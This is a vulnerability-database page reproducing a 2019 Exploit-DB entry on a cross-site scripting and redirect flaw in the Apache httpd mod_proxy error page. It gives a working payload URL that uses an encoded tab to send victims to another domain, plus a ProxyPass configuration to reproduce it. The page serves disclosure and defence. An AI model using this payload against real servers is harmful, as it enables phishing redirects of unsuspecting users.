Lucene search
K

Apache Httpd mod_proxy - Error Page Cross-Site Scripting

🗓️ 14 Oct 2019 00:00:00Reported by Sebastian NeefType 
exploitdb
 exploitdb
🔗 www.exploit-db.com👁 1669 Views

Apache Httpd mod_proxy - Error Page Cross-Site Scripting vulnerability with ProxyPass configuration allowing destination manipulatio

Code
The trick is to use a vertical tab (`%09`) and then place another URL in the tag. So once a victim clicks the link on the error page, she will go somewhere else.

As you can see, the browser changes the destination from relative / to an absolute url https://enoflag.de. The exploit is `http://domain.tld/%09//otherdomain.tld`

Here's the httpd configuration to reproduce the behavior:

```
    <Location />
        ProxyPass http://127.0.0.1:9000/ connectiontimeout=1 timeout=2
        ProxyPassReverse http://127.0.0.1:9000/ 
        Order allow,deny
        Allow from all
    </Location>
```

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

14 Oct 2019 00:00Current
7.4High risk
Vulners AI Score7.4
1669